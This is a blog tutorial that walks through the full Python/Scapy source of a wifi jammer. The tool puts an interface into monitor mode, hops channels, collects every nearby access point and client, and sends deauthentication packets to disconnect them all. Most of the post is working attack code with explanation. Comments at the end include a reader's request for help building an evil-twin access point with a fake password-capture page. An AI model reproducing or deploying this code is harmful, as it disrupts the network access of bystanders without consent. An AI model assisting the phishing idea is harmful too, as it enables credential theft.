Dan McInerney

Python + Security

Home | About

How to kick everyone around you off wifi with Python

Posted on February 6, 2014 by Dan McInerney — 8 Comments ↓

Full code: https://github.com/DanMcInerney/wifijammer

Description:
This script will find the most powerful wireless interface and turn on monitor mode. If a monitor mode interface is already up it will use the first one it finds instead. It will then start sequentially hopping channels 1 per second from channel 1 to 11 identifying all access points and clients connected to those access points. On the first pass through all the wireless channels it is only identifying targets. After that the 1sec per channel time limit is eliminated and channels are hopped as soon as the deauth packets finish sending. Note that it will still add clients and APs as it finds them after the first pass through.

Upon hopping to a new channel it will identify targets that are on that channel and send 1 deauth packet to the client from the AP, 1 deauth to the AP from the client, and 1 deauth to the AP destined for the broadcast address to deauth all clients connected to the AP. Many APs ignore deauths to broadcast addresses.

```
# Console colors
W  = '\033[0m'  # white (normal)
R  = '\033[31m' # red
G  = '\033[32m' # green
O  = '\033[33m' # orange
```

```
B  = '\033[34m' # blue
P  = '\033[35m' # purple
C  = '\033[36m' # cyan
GR = '\033[37m' # gray
T  = '\033[93m' # tan
```

Set up terminal colors. Not perfect since some different terminal setups may break the colors but I can't find a common setup that this doesn't work with… yet.

```
def parse_args():
        #Create the arguments
    parser = argparse.ArgumentParser()
    parser.add_argument("-s", "--skip", help="Skip deauthing this
MAC address. Example: -s 00:11:BB:33:44:AA")
    parser.add_argument("-i", "--interface", help="Choose monitor
mode interface. By default script will find the most powerful
interface and starts monitor mode on it. Example: -i mon5")
    parser.add_argument("-c", "--channel", help="Listen on and
deauth only clients on the specified channel. Example: -c 6")
    parser.add_argument("-m", "--maximum", help="Choose the
maximum number of clients to deauth. List of clients will be
emptied and repopulated after hitting the limit. Example: -m 5")
    parser.add_argument("-n", "--noupdate", help="Do not clear
the deauth list when the maximum (-m) number of client/AP combos
is reached. Must be used in conjunction with -m. Example: -m 10
-n", action='store_true')
    parser.add_argument("-t", "--timeinterval", help="Choose the
time interval between packets being sent. Default is as fast as
possible. If you see scapy errors like 'no buffer space' try: -t
.00001")
    parser.add_argument("-p", "--packets", help="Choose the
number of packets to send in each deauth burst. Default value is
1; 1 packet to the client and 1 packet to the AP. Send 2 deauth
packets to the client and 2 deauth packets to the AP: -p 2")
    parser.add_argument("-d", "--directedonly", help="Skip the
deauthentication packets to the broadcast address of the access
points and only send them to client/AP pairs",
action='store_true')
    return parser.parse_args()
```

Create the optional arguments for the script. I like my scripts to take as little user input as possible for the most common usage but it's important that there be lots of granularity for those who might need it. You'll notice that the next section has almost 100 lines of code just to prevent the need for the user to set the interface and start monitor mode however they can override that whole thing by just using the -i argument.

```
########################################
# Begin interface info and manipulation
########################################
def get_mon_iface(args):
    global monitor_on
    monitors, interfaces = iwconfig()
    if args.interface:
        monitor_on = True
        return args.interface
    if len(monitors) > 0:
        monitor_on = True
        return monitors[0]
    else:
        # Start monitor mode on a wireless interface
        print '['+G+'*'+W+'] Finding the most powerful
interface...'
        interface = get_iface(interfaces)
        monmode = start_mon_mode(interface)
        return monmode
```

Script first checks to see if a monitor mode interface exists by running iwconfig and parsing the output. Should nothing show up it then checks if the user gave the monitor mode interface as an argument and failing that, it moves on to find the most powerful wireless interface on which it will start monitor mode.

```
def iwconfig():
    monitors = []
    interfaces = {}
    proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
    for line in proc.communicate()[0].split('\n'):
        if len(line) == 0: continue # Isn't an empty string
        if line[0] != ' ': # Doesn't start with space
            wired_search =
```

```
re.search('eth[0-9]|em[0-9]|p[1-9]p[1-9]', line)
            if not wired_search: # Isn't wired
                iface = line[:line.find(' ')] # is the interface
                if 'Mode:Monitor' in line:
                    monitors.append(iface)
                elif 'IEEE 802.11' in line:
                    if "ESSID:\"" in line:
                        interfaces[iface] = 1
                    else:
                        interfaces[iface] = 0
    return monitors, interfaces
```

Here we use the subprocess library to call iwconfig which will give us a list of the wireless interfaces. After that we do some simple string manipulation to narrow down the string to just the interface names. The line “iface = line[:line.find(‘ ‘)]” could be replaced with something like “iface = line.split(‘ ‘, 1)[0]”. I’m usually very partial to the .split() attribute but I was looking at other ways of string manipulation when I did this to expand my horizons. I think I might’ve taken that line from the airoscapy project. Now, what’s really perplexing about this function is that iwconfig when called as root via a python script will only output the wireless interfaces and not loopback or ethernet interfaces but when its called as root or just a regular user outside of python it finds all the interfaces. I do not know why and if you do know please leave a comment.

```
def get_iface(interfaces):
    scanned_aps = []
    if len(interfaces) < 1:
        sys.exit('['+R+'-'+W+'] No wireless interfaces found,
bring one up and try again')
    if len(interfaces) == 1:
        for interface in interfaces:
            return interface
```

Just checking to see if any wireless interfaces were found. If they weren’t then we quit. If just one is found, then we return that interface and exit the function.

```
# Find most powerful interface
for iface in interfaces:
    count = 0
```

```
    proc = Popen(['iwlist', iface, 'scan'], stdout=PIPE,
stderr=DN)
    for line in proc.communicate()[0].split('\n'):
        if ' - Address:' in line: # first line in iwlist scan for
a new AP
            count += 1
    scanned_aps.append((count, iface))
    print '['+G+'+'+W+'] Networks discovered by '+G+iface+W+':
'+T+str(count)+W
try:
    interface = max(scanned_aps)[1]
    return interface
except Exception as e:
    for iface in interfaces:
        interface = iface
        print '['+R+'-'+W+'] Minor error:',e
        print '    Starting monitor mode on '+G+interface+W
        return interface
```

We identify the most powerful wireless interface here. For each wireless interface that we find using iwconfig we have it scan for access points. Whichever interface finds the highest number of access points is the one we will start monitor mode on. I know there's various ways to pull power and dBm information from the packet's Dot11Elt layer but this seemed like a simple and effective measurement.

```
def start_mon_mode(interface):
    print '['+G+'+'+W+'] Starting monitor mode on '+G+interface+W
    try:
        os.system('ifconfig %s down' % interface)
        os.system('iwconfig %s mode monitor' % interface)
        os.system('ifconfig %s up' % interface)
        return interface
    except Exception:
        sys.exit('['+R+'-'+W+'] Could not start monitor mode')
```

We start monitor mode with iwconfig. This originally had airmon-ng start monitor mode but I realized there was no point to having a separate monitor mode interface and I wasn't concerned about starting monitor mode without taking down the parent interface so I eliminated that dependency.

```
def remove_mon_iface():
    os.system('ifconfig %s down' % mon_iface)
    os.system('iwconfig %s mode managed' % mon_iface)
    os.system('ifconfig %s up' % mon_iface)
```

This is only called after the user hits Ctrl-C AND a monitor mode interface wasn't found in the initial interface scan. I'm using os.system() here because I don't have to do anything with the output of these commands. If I needed to parse the output then I'd use subprocess.Popen() as can be seen elsewhere in the script. Something to note is that os.system is significantly faster than suprocess.Popen() although that doesn't make much of a difference in this case.

```
def mon_mac(mon_iface):
    '''
http://stackoverflow.com/questions/159137/getting-mac-address
    '''
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s',
mon_iface[:15]))
    mac = ''.join(['%02x:' % ord(char) for char in info[18:24]])
[:-1]
    print '['+G+'*'+W+'] Monitor mode: '+G+mon_iface+W+' -
'+O+mac+W
    return mac
########################################
# End of interface info and manipulation
########################################
```

This code is directly copied from the stackoverflow link. I tried originally parsing the output of ifconfig but found that ifconfig's output is not universally formatted. Some distros and versions output the information with different line spacing and organization. Per GitHub user mncoppola:

"In C land, an ioctl call would be: ioctl(fd, command, argument), where fd is the file descriptor
of the driver/file/socket/pipe/etc. you're querying, command is a constant defining which command
you're calling, and argument is an arbitrary value (but is usually a pointer to a struct with user input).

This calling convention is similar in Python land, with fd being provided by: s.fileno(), command
hardcoded to 0x8927, and argument being a string of the interface name.

If we grep the Linux kernel source, we find that 0x8927 corresponds to this command

$ grep 0x8927 -r include/
include/linux/sockios.h:#define SIOCGIFHWADDR 0x8927 /* Get hardware address */

man netdevice(7) explains use of the SIOCGIFHWADDR command, and how it returns the interface's
hardware (MAC) address.

The ".join() line is simply formatting the returned data into a human-readable MAC address."

```
def channel_hop(mon_iface, args):
    '''
    First time it runs through the channels it stays on each
channel for 1 second
    in order to populate the deauth list nicely. After that it
goes as fast as it can
    '''
    global monchannel, first_pass
    channelNum = 0
    while 1:
        if args.channel:
            with lock:
                monchannel = args.channel
        else:
            channelNum +=1
            if channelNum > 11:
                channelNum = 1
                with lock:
                    first_pass = 0
            with lock:
                monchannel = str(channelNum)
        proc = Popen(['iw', 'dev', mon_iface, 'set', 'channel',
monchannel], stdout=DN, stderr=PIPE)
```

```
        err = None
        for line in proc.communicate()[1].split('\n'):
            if len(line) > 2: # iw dev shouldnt display output
unless there's an error
                err = '['+R+'-'+W+'] Channel hopping failed:
'+R+line+W
```

This is the channel hopping function and the function where a lot of the meat of the script is located. It sequentially increases the global monchannel variable starting with a seed of 0 and restarting once it hits 12. You'll notice when certain global variables are modified "with lock:" precedes it. These are mutex locks to prevent the two threads that are running (channel hopping and packet sniffing) from modifying shared variables at the same time. I should replace these mutex locks with Queue objects to cut down on the amount of code that locks are required for.

Just because Python has a Global Interpreter Lock does not mean that you don't have to worry about thread-safe modification of shared variables. Any time you're modifying a shared variable you have to find a way to manually lock it. I particularly enjoyed this presentation on threaded programming with Python. The GIL is a fine grain mutex lock that only exists to protect python internals and interpreter from being in inconsistent states but doesn't protect the coarser blocks of code from creating stale values in shared variables. Further reading about it.

```
        output(err, monchannel)
        deauth(monchannel)
        if first_pass == 1:
            time.sleep(1)
        else:
            #time.sleep(1)
            pass
```

This is still part of the channel_hop() function. Output() is for formatting and printing the AP and client+AP lists that are used as the targets of the deauth packets. After it's printed that to the screen it launches the deauth() function to actually send the relevant deauth packets. If the script is still on the first pass through of channels then it waits a second before moving on to give the network card a chance to pick up APs and clients on that channel. After that it hops channels as fast as output() and deauth() finish their jobs.

```
def deauth(monchannel):
    '''
    addr1=destination, addr2=source, addr3=bssid, addr4=bssid of
gateway if there are
    multi-APs to one gateway. Constantly scans the clients_APs
list and
    starts a thread to deauth each instance
    '''
    global first_pass
    if first_pass == 1:
        return
    pkts = []
    if len(clients_APs) > 0:
        with lock:
            for x in clients_APs:
                client = x[0]
                ap = x[1]
                ch = x[2]
                # Cannot add a RadioTap() layer as the first
layer or it's a malformed
                # Association request packet?
                # Append the packets to a new list so we don't
have to hog the lock
                # type=0, subtype=12?
                if ch == monchannel:
                    deauth_pkt1 = Dot11(addr1=client, addr2=ap,
addr3=ap)/Dot11Deauth()
                    deauth_pkt2 = Dot11(addr1=ap, addr2=client,
addr3=client)/Dot11Deauth()
                    pkts.append(deauth_pkt1)
                    pkts.append(deauth_pkt2)
```

Deauth() function takes the monitor mode's channel as an argument so that we're not sending unnecessary packets. If your monitor mode interface is not set to the channel of the targets then the deauth won't reach them. That would waste cycles and time so the script is set up to only send deauth packets to clients and APs that are on the same channel as the monitor mode interface.

There's a few complications in this part. One is outlined in the comments. If you create the packet with a RadioTap() layer prior to the Dot11 layer like pkt =

RadioTap()/Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth() then you won't actually send deauth packets, you'll send malformed association request packets if you analyze them on the wire. This is confusing to me as to why that happens but I was able to at least figure out that removing RadioTap() would fix it. It's probably an issue with the default values that Scapy assigns to the RadioTap() layer but I haven't looked into it thoroughly.

The second complication is in regards to the various addresses that 802.11 packets have. There is the potential for 4 MAC addresses to be attached to each packet. pkt[Dot11].addr1 is the destination MAC, pkt[Dot11].addr2 is the source MAC address, pkt[Dot11].addr3 is usually the MAC of the access point, and pkt[Dot11].addr4 only exists if there's multiple access points to a single gateway. See the following diagram from Cisco:

To DS	From DS	Address 1	Address 2	Address 3	Address 4
0	0	Destination	Source	BSSID	N/A
0	1	Destination	BSSID	Source	N/A
1	0	BSSID	Source	Destination	N/A
1	1	Receiver	Transmitter	Destination	Source

DS stands for Distributed System. It's either 1 or 0 in order to indicate whether the packet is to or from the DS. If both the To DS and From DS fields are 0, then it's a client to client connection. If they're both 1 then it's a multiple AP to single gateway setup. The middle two rows can cause confusion as to which address is actually going to be the access point. Further confusion can be found when trying to determine which of the three main addresses you should be pulling. Obviously the destination is straight forward and will always be addr1 but addr2 and addr3 can be either the source, the destination, or the BSSID.

I needed to know whether I should just be pulling addr2 or addr3 for sending deauth packets to so I studied some packet captures on various networks trying to identify a pattern between addr2 and addr3. Ultimately I found at least 1 scenario where you would definitely not want to pull addr3: on a (all? most?) router that broadcasts on both 2.4GHz and 5GHz, if you were connected to the 2.4GHz channel then addr3 was pulling the 5GHz interface's MAC address. This combined with some practice runs on the various kinds of network setups lead me to only pull addr1 and addr2 as the important MACs for deauthing.

```
    if len(APs) > 0:
        if not args.directedonly:
```

```
            with lock:
                for a in APs:
                    ap = a[0]
                    ch = a[1]
                    if ch == monchannel:
                        deauth_ap =
Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap)/Dot11Deauth()
                        pkts.append(deauth_ap)
    if len(pkts) > 0:
        # prevent 'no buffer space' scapy error http://goo.gl
/6YuJbI
        if not args.timeinterval:
            args.timeinterval = 0
        if not args.packets:
            args.packets = 1
        for p in pkts:
            send(p, inter=float(args.timeinterval),
count=int(args.packets))
            #pass
```

We're still in the deauth() function here. In the top half of this part we're going through the APs list and determining which ones are on the same channel as our monitor mode interface so we can send them a deauth packet destined for the broadcast address. That should cause the access point to deauthenticate all its clients but many APs will ignore deauths to broadcast. That is why I included the -d argument in order to skip sending deauths to the APs broadcast addresses. If you have tons of clients within range and you know most of the routers are ignoring the deauths to broadcast addresses then you don't want to waste time sending deauthentication packets that may never be acknowledged.

In order to limit the amount of time spent with a lock on, if the script determines that there's a client or access point on the current channel the interface is on then it creates the deauth packet then appends it to a list and releases the lock. After that we just use the send() function on each packet in the list. This prevents the lock from being held during the time it takes to send the packet. We also introduce granularity in the number of deauth packets to send in a burst and the interval between the sending of the packets.

```
def output(err, monchannel):
    os.system('clear')
    if err:
```

```
        print err
    else:
        print '['+G+'+'+W+'] '+mon_iface+' channel:
'+G+monchannel+W+'\n'
    if len(clients_APs) > 0:
        print '                  Deauthing                 ch
ESSID'
    # Print the deauth list
    with lock:
        for ca in clients_APs:
            if len(ca) > 3:
                print '['+T+'*'+W+'] '+O+ca[0]+W+' -
'+O+ca[1]+W+' - '+ca[2].ljust(2)+' - '+T+ca[3]+W
            else:
                print '['+T+'*'+W+'] '+O+ca[0]+W+' -
'+O+ca[1]+W+' - '+ca[2]
    if len(APs) > 0:
        print '\n      Access Points     ch   ESSID'
    with lock:
        for ap in APs:
            print '['+T+'*'+W+'] '+O+ap[0]+W+' -
'+ap[1].ljust(2)+' - '+T+ap[2]+W
    print ''
```

The output() function is pretty straightforward. It's just formatting the monitor mode channel and all the targets in the APs and clients_APs lists to be pretty when printing them to the terminal. In order to keep the distance between the channel (ca[2] and ap[1]) and the SSID equally spaced we use the .ljust() method on the string. I picked up that bit of knowledge from the script wifite a long time ago.

```
def cb(pkt):
    '''
    Look for dot11 packets that aren't to or from broadcast
address,
    are type 1 or 2 (control, data), and append the addr1 and
addr2
    to the list of deauth targets.
    '''
    global clients_APs, APs
```

```
    # return these if's keeping clients_APs the same or just
reset clients_APs?
    # I like the idea of the tool repopulating the variable more
    if args.maximum:
        if args.noupdate:
            if len(clients_APs) > int(args.maximum):
                return
        else:
            if len(clients_APs) > int(args.maximum):
                with lock:
                    clients_APs = []
                    APs = []
```

We have two threads, one for channel hopping and one for sniffing. This is the callback function for the sniffing thread. It receives packets from sniff() and then performs an action on them. In the above we're just checking if a couple arguments were passed along.

```
    # Broadcast, broadcast, IPv6mcast, spanning tree, spanning
tree, multicast, broadcast
    ignore = ['ff:ff:ff:ff:ff:ff', '00:00:00:00:00:00',
'33:33:00:', '33:33:ff:', '01:80:c2:00:00:00', '01:00:5e:',
mon_MAC]
    if args.skip:
        ignore.append(args.skip)
```

Continuing the callback function here, we are making sure to eliminate the noise from our list of targets. All the MACs and partial MACs here are reserved for various services like ff:ff:ff:ff:ff:ff and 00:00:00:00:00:00 are reserved for the broadcast address. The broadcast address is the destination address you'd put in pkt[Dot11].addr1 if you wanted the packet to go to all the clients connected to a certain AP. You can learn more about the other types by just copying them into google.

```
    # We're adding the AP and channel to the deauth list at time
of creation rather
    # than updating on the fly in order to avoid costly for loops
that require a lock
    if pkt.haslayer(Dot11):
```

```
        if pkt.addr1 and pkt.addr2:
            if pkt.haslayer(Dot11Beacon) or
pkt.haslayer(Dot11ProbeResp):
                APs_add(clients_APs, APs, pkt)
            for i in ignore:
                if i in pkt.addr1 or i in pkt.addr2:
                    return
            # Management = 1, data = 2
            if pkt.type in [1, 2]:
                clients_APs_add(clients_APs, pkt.addr1, pkt.addr2)
```

The order above is very important. First we update the list of APs, then we check if the packet has an ignorable addr1 or addr2, then we append new client/AP combos to the clients_APs list. You can't check for ignorable MACs first because Beacon frames go to broadcast addresses.

```
def APs_add(clients_APs, APs, pkt):
    ssid       = pkt[Dot11Elt].info
    bssid      = pkt[Dot11].addr3
    try:
        # Thanks to airoscapy for below
        ap_channel = str(ord(pkt[Dot11Elt:3].info))
        # Prevent 5GHz APs from being thrown into the mix
        chans = ['1', '2', '3', '4', '5', '6', '7', '8', '9',
'10', '11']
        if ap_channel not in chans:
            return
    except Exception as e:
        return
    if len(APs) == 0:
        with lock:
            return APs.append([bssid, ap_channel, ssid])
    else:
        for b in APs:
            if bssid in b[0]:
                return
        with lock:
            return APs.append([bssid, ap_channel, ssid])
```

When appending to the list of APs in range we pull the SSID out of the Dot11Elt (anyone want to tell me what Elt stands for?) layer and the MAC of the access point using addr3. We're using addr3 in this case mostly because that's what airoscapy does and it's proven reliable. I am curious if using addr2 is more reliable but I have yet to see any Beacon or ProbeResponse packets where addr2 and addr3 haven't been equal, even in multi-AP to single gateway environments. Until I do I'm going to keep doing the status quo.

The 9th line in this section is the reason the script doesn't work against 5GHz wifi networks. 5GHz networks will return a channel like 137 if I recall correctly. I would like to eventually add 5Ghz support and the problems I face right now are: what's the command to set an interface to listen on 5GHz? How universal is 5GHz support? How much code would it take to decipher if an interface driver is 5GHz compatible and if it isn't is there an easy way to check for this? If anyone wants to spoon feed me those answers I'd be glad to pop it into the script but I'll need some time to study before I can answer them on my own.

```
def clients_APs_add(clients_APs, addr1, addr2):
    if len(clients_APs) == 0:
        if len(APs) == 0:
            with lock:
                return clients_APs.append([addr1, addr2,
monchannel])
        else:
            AP_check(addr1, addr2)
    # Append new clients/APs if they're not in the list
    else:
        for ca in clients_APs:
            if addr1 in ca and addr2 in ca:
                return
        if len(APs) > 0:
            return AP_check(addr1, addr2)
        else:
            with lock:
                return clients_APs.append([addr1, addr2,
monchannel])
```

Basically the equivalent function of the one above this, APs_add(), just for the clients_APs list rather than just the APs list.

```
def AP_check(addr1, addr2):
    for ap in APs:
        if ap[0].lower() in addr1.lower() or ap[0].lower() in
addr2.lower():
            with lock:
                return clients_APs.append([addr1, addr2, ap[1],
ap[2]])
```

A quick function to check if the AP MAC in a client/AP MAC pair already exists in the APs list. If it does, then we can use the channel and SSID from the matching AP in the APs list when appending that client/AP pair to the clients_APs list. Notice that in this script we always check each packet for inclusion in the APs list first then check and append to the clients_APs list. That is mainly so we can just bolt on the SSID from the APs list onto each matching item in the clients_APs list should the AP MAC in the client/AP combo already be in the list of APs. SSIDs are not included in managment, data, or control type 802.11 packets, only beacon and proberesponse frames.

```
def stop(signal, frame):
    if monitor_on:
        sys.exit('\n['+R+'!'+W+'] Closing')
    else:
        remove_mon_iface()
        sys.exit('\n['+R+'!'+W+'] Closing')
```

Check if monitor mode was enabled prior to running the script or not and save the original state. If it was already on prior to the script running then this just prints “Closing” and exits, otherwise it shuts off monitor mode.

```
if __name__ == "__main__":
    if os.geteuid():
        sys.exit("Please run as root.")
    clients_APs = []
    APs = []
    first_pass = 1
    DN = open(os.devnull, 'w')
    lock = Lock()
    args = parse_args()
    monitor_on = None
```

```
    mon_iface = get_mon_iface(args)
    conf.iface = mon_iface
    mon_MAC = mon_mac(mon_iface)
    # Start channel hopping
    hop = Thread(target=channel_hop, args=(mon_iface, args))
    hop.daemon = True
    hop.start()
    signal(SIGINT, stop)
```

The main thread of execution. First check if the user is running as root, set up a few global variables that will be shared by the threads, and check for a monitor mode interface. Once a monitor mode interface is either found or created, we run `conf.iface = mon_iface` which will set the scapy variable conf.iface so scapy knows which interface to be sending packets out of. After that we get the monitor mode's MAC address so we can ignore it when searching for targets. Finally we start the channel hopping thread which changes mon_iface's channel, prints the list of targets, and then sends deauth packets to them.

The signal() function must always be in the main thread to catch Ctrl-C's and we populate it with the signal we're trying to catch, SIGINT, and the function to run upon catching SIGINT, stop().

```
    try:
       sniff(iface=mon_iface, store=0, prn=cb)
    except Exception as msg:
        print '\n['+R+'!'+W+'] Closing:', msg
        sys.exit(0)
```

And last but not least we have the sniff() loop to sniff all 802.11 packets flying around the air. Store=0 is so it's not storing the packets it finds in memory, iface=mon_iface is setting the interface that we want to listen on, and prn=cb is setting the callback function on to which sniff() will send the packets it finds.

‹ Reliable DNS spoofing with Python: twisting in ARP poisoning, pt. 2

How to exploit home routers for anonymity ›

Posted in Uncategorized

8 comments on “How to kick everyone around you off wifi with Python”

Tim says:
February 21, 2014 at 4:58 am

Great tutorial!

Reply

Avinash says:
April 19, 2014 at 6:57 am

Great one, I Like programming with Scapy Module & this tutorial Definitely Add up a further understanding to its Usage.
Thanks a Lot For Sharing ! Keep it Up!

Reply

RogerSnake says:
August 5, 2014 at 2:36 pm

crystal clear explanation…Phyton looks so powerfull!

Reply

Mike says:
September 27, 2014 at 6:01 pm

is there a way to make this script work for 5Ghz network

Reply

Dan McInerney says:
September 28, 2014 at 1:35 am

No, not at the moment. Maybe later.

Reply

Mike says:

September 28, 2014 at 8:46 am

thanks for the reply do you know if there and script can jam 5Ghz network

Reply

Michael says:

January 28, 2015 at 6:34 pm

I'm fairly new to this. What can I download to work on this program? (Python)
I know some c++ btw.

Reply

Amirreza says:

February 25, 2015 at 2:23 am

Hello and Thank you for your awesome articles, for all of them.
I request you to show me the way (although a briefly explanation) of doing something: We have a AP and we jam it using your awesome tool. And now, I want to make an evil AP to grab the real key by showing a fake page requesting the password from user (some sort of social engineering). I can do part 1 with your tool using a laptop but for second part, I have only an android phone.
I don't need any code because I know you'r busy but a single light. what program should I write for my android phone to make the hot-spot and how a single page for user (whether he want to see website A or B) and get what user sent in the page's form.

Thank you again, I know you have no time for response and it's OK :)

Reply

2 Pings/Trackbacks for "How to kick everyone around you off wifi with Python"

Art Hack Day: From An Idea To A Deluge of Ideas | Make: says:
February 4, 2015 at 10:34 pm

[…] Black, this WiFi Taser by Max Henstell turned a Pringles can into an antenna gun of sorts, using Python to send deauth packets to knock nearby laptops off […]

WiFi Taser | Bram.us says:
February 11, 2015 at 8:46 pm

[…] How to kick everyone around you off wifi with Python → […]

Leave a Reply

Your email address will not be published. Required fields are marked *

Name *

E-mail *

Website

6 × two =

Comment

Post Comment

↑